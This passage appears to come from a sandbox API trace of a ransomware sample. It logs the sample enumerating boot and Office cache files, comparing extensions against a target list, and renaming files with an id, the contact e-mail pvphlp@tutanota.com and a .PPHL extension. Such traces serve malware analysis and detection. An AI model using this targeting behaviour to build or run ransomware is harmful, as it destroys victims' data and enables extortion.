(lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.467] lstrlenW (lpString=".doc") returned 4 [0060.467] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.467] lstrlenW (lpString=".docx") returned 5 [0060.467] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.467] lstrlenW (lpString=".pdf") returned 4 [0060.467] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.467] lstrlenW (lpString=".xls") returned 4 [0060.467] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.467] lstrlenW (lpString=".xlsx") returned 5 [0060.467] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.467] lstrlenW (lpString=".ppt") returned 4 [0060.468] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.468] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.468] lstrlenW (lpString=".zip") returned 4 [0060.468] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.468] lstrlenW (lpString=".rar") returned 4 [0060.468] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.468] lstrlenW (lpString=".bz2") returned 4 [0060.468] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.468] lstrlenW (lpString=".7z") returned 3 [0060.468] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.468] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.468] lstrlenW (lpString=".dbf") returned 4 [0060.468] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.468] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.468] lstrlenW (lpString=".1cd") returned 4 [0060.468] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.468] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.468] lstrlenW (lpString=".jpg") returned 4 [0060.468] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.468] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.468] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.468] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.468] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=90688) returned 1 [0060.469] CloseHandle (hObject=0x1ac) returned 1 [0060.469] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0060.469] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.469] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.469] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.469] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.469] lstrlenW (lpString=".doc") returned 4 [0060.469] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.469] lstrlenW (lpString=".docx") returned 5 [0060.469] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.469] lstrlenW (lpString=".pdf") returned 4 [0060.469] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.469] lstrlenW (lpString=".xls") returned 4 [0060.469] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.469] lstrlenW (lpString=".xlsx") returned 5 [0060.469] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.469] lstrlenW (lpString=".ppt") returned 4 [0060.469] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.469] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.469] lstrlenW (lpString=".zip") returned 4 [0060.469] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.469] lstrlenW (lpString=".rar") returned 4 [0060.469] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.469] lstrlenW (lpString=".bz2") returned 4 [0060.469] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.469] lstrlenW (lpString=".7z") returned 3 [0060.469] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.469] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.469] lstrlenW (lpString=".dbf") returned 4 [0060.469] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.469] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.470] lstrlenW (lpString=".1cd") returned 4 [0060.470] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.470] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.470] lstrlenW (lpString=".jpg") returned 4 [0060.470] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.470] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.470] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.470] lstrlenW (lpString=".doc") returned 4 [0060.470] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.470] lstrlenW (lpString=".docx") returned 5 [0060.470] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.470] lstrlenW (lpString=".pdf") returned 4 [0060.470] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.470] lstrlenW (lpString=".xls") returned 4 [0060.470] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.470] lstrlenW (lpString=".xlsx") returned 5 [0060.470] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.470] lstrlenW (lpString=".ppt") returned 4 [0060.470] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.470] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.470] lstrlenW (lpString=".zip") returned 4 [0060.470] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.470] lstrlenW (lpString=".rar") returned 4 [0060.470] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.470] lstrlenW (lpString=".bz2") returned 4 [0060.470] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.470] lstrlenW (lpString=".7z") returned 3 [0060.470] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.470] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.470] lstrlenW (lpString=".dbf") returned 4 [0060.470] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.470] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.470] lstrlenW (lpString=".1cd") returned 4 [0060.470] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.471] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0060.471] lstrlenW (lpString=".jpg") returned 4 [0060.471] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.471] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.471] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.471] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.471] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=90704) returned 1 [0060.471] CloseHandle (hObject=0x1ac) returned 1 [0060.471] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0060.471] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.471] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.471] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.471] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.471] lstrlenW (lpString=".doc") returned 4 [0060.471] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.471] lstrlenW (lpString=".docx") returned 5 [0060.471] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.471] lstrlenW (lpString=".pdf") returned 4 [0060.471] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.472] lstrlenW (lpString=".xls") returned 4 [0060.472] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.472] lstrlenW (lpString=".xlsx") returned 5 [0060.472] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.472] lstrlenW (lpString=".ppt") returned 4 [0060.472] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.472] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.472] lstrlenW (lpString=".zip") returned 4 [0060.472] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.472] lstrlenW (lpString=".rar") returned 4 [0060.472] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.472] lstrlenW (lpString=".bz2") returned 4 [0060.472] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.472] lstrlenW (lpString=".7z") returned 3 [0060.472] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.472] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.472] lstrlenW (lpString=".dbf") returned 4 [0060.472] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.472] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.472] lstrlenW (lpString=".1cd") returned 4 [0060.472] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.472] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.472] lstrlenW (lpString=".jpg") returned 4 [0060.472] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.472] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.472] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.472] lstrlenW (lpString=".doc") returned 4 [0060.472] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.472] lstrlenW (lpString=".docx") returned 5 [0060.472] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.472] lstrlenW (lpString=".pdf") returned 4 [0060.472] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.472] lstrlenW (lpString=".xls") returned 4 [0060.472] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.473] lstrlenW (lpString=".xlsx") returned 5 [0060.473] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.473] lstrlenW (lpString=".ppt") returned 4 [0060.473] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.473] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.473] lstrlenW (lpString=".zip") returned 4 [0060.473] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.473] lstrlenW (lpString=".rar") returned 4 [0060.473] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.473] lstrlenW (lpString=".bz2") returned 4 [0060.473] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.473] lstrlenW (lpString=".7z") returned 3 [0060.473] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.473] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.473] lstrlenW (lpString=".dbf") returned 4 [0060.473] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.473] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.473] lstrlenW (lpString=".1cd") returned 4 [0060.473] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.473] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0060.473] lstrlenW (lpString=".jpg") returned 4 [0060.473] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.473] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.473] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.473] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.474] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=76352) returned 1 [0060.474] CloseHandle (hObject=0x1ac) returned 1 [0060.474] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0060.474] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.474] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.474] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.474] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.474] lstrlenW (lpString=".doc") returned 4 [0060.474] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.474] lstrlenW (lpString=".docx") returned 5 [0060.474] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.474] lstrlenW (lpString=".pdf") returned 4 [0060.474] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.474] lstrlenW (lpString=".xls") returned 4 [0060.474] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.474] lstrlenW (lpString=".xlsx") returned 5 [0060.474] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.474] lstrlenW (lpString=".ppt") returned 4 [0060.474] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.474] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.474] lstrlenW (lpString=".zip") returned 4 [0060.474] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.474] lstrlenW (lpString=".rar") returned 4 [0060.474] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.474] lstrlenW (lpString=".bz2") returned 4 [0060.474] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.474] lstrlenW (lpString=".7z") returned 3 [0060.474] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.475] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.475] lstrlenW (lpString=".dbf") returned 4 [0060.475] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.475] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.475] lstrlenW (lpString=".1cd") returned 4 [0060.475] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.475] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.475] lstrlenW (lpString=".jpg") returned 4 [0060.475] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.475] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.475] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.475] lstrlenW (lpString=".doc") returned 4 [0060.475] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.475] lstrlenW (lpString=".docx") returned 5 [0060.475] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.475] lstrlenW (lpString=".pdf") returned 4 [0060.475] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.475] lstrlenW (lpString=".xls") returned 4 [0060.475] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.475] lstrlenW (lpString=".xlsx") returned 5 [0060.475] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.475] lstrlenW (lpString=".ppt") returned 4 [0060.475] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.475] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.475] lstrlenW (lpString=".zip") returned 4 [0060.475] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.475] lstrlenW (lpString=".rar") returned 4 [0060.475] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.475] lstrlenW (lpString=".bz2") returned 4 [0060.475] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.475] lstrlenW (lpString=".7z") returned 3 [0060.475] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.475] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.475] lstrlenW (lpString=".dbf") returned 4 [0060.475] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.476] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.476] lstrlenW (lpString=".1cd") returned 4 [0060.476] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.476] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0060.476] lstrlenW (lpString=".jpg") returned 4 [0060.476] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.476] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.476] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.476] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.476] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=75344) returned 1 [0060.476] CloseHandle (hObject=0x1ac) returned 1 [0060.476] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0060.476] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.476] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.477] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString=".doc") returned 4 [0060.477] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.477] lstrlenW (lpString=".docx") returned 5 [0060.477] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.477] lstrlenW (lpString=".pdf") returned 4 [0060.477] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.477] lstrlenW (lpString=".xls") returned 4 [0060.477] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.477] lstrlenW (lpString=".xlsx") returned 5 [0060.477] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.477] lstrlenW (lpString=".ppt") returned 4 [0060.477] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.477] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString=".zip") returned 4 [0060.477] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.477] lstrlenW (lpString=".rar") returned 4 [0060.477] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.477] lstrlenW (lpString=".bz2") returned 4 [0060.477] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.477] lstrlenW (lpString=".7z") returned 3 [0060.477] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.477] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString=".dbf") returned 4 [0060.477] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.477] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString=".1cd") returned 4 [0060.477] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.477] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.477] lstrlenW (lpString=".jpg") returned 4 [0060.478] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.478] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.478] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.478] lstrlenW (lpString=".doc") returned 4 [0060.478] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.478] lstrlenW (lpString=".docx") returned 5 [0060.478] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.478] lstrlenW (lpString=".pdf") returned 4 [0060.478] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.478] lstrlenW (lpString=".xls") returned 4 [0060.478] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.478] lstrlenW (lpString=".xlsx") returned 5 [0060.478] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.478] lstrlenW (lpString=".ppt") returned 4 [0060.478] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.479] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.479] lstrlenW (lpString=".zip") returned 4 [0060.479] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.479] lstrlenW (lpString=".rar") returned 4 [0060.479] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.479] lstrlenW (lpString=".bz2") returned 4 [0060.479] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.479] lstrlenW (lpString=".7z") returned 3 [0060.479] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.479] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.479] lstrlenW (lpString=".dbf") returned 4 [0060.479] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.479] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.479] lstrlenW (lpString=".1cd") returned 4 [0060.479] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.479] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0060.479] lstrlenW (lpString=".jpg") returned 4 [0060.479] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.479] lstrcmpiW (lpString1=".exe", lpString2=".PPHL") returned -1 [0060.479] lstrlenW (lpString="memtest.exe") returned 11 [0060.479] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.480] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=485760) returned 1 [0060.480] CloseHandle (hObject=0x1ac) returned 1 [0060.480] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0060.480] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.480] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.480] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0060.480] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0060.480] lstrlenW (lpString=".doc") returned 4 [0060.480] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0060.480] lstrlenW (lpString=".docx") returned 5 [0060.480] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0060.480] lstrlenW (lpString=".pdf") returned 4 [0060.480] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0060.480] lstrlenW (lpString=".xls") returned 4 [0060.480] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0060.480] lstrlenW (lpString=".xlsx") returned 5 [0060.480] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0060.480] lstrlenW (lpString=".ppt") returned 4 [0060.480] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0060.480] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0060.480] lstrlenW (lpString=".zip") returned 4 [0060.480] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0060.480] lstrlenW (lpString=".rar") returned 4 [0060.480] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0060.480] lstrlenW (lpString=".bz2") returned 4 [0060.480] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0060.481] lstrlenW (lpString=".7z") returned 3 [0060.481] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0061.125] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all 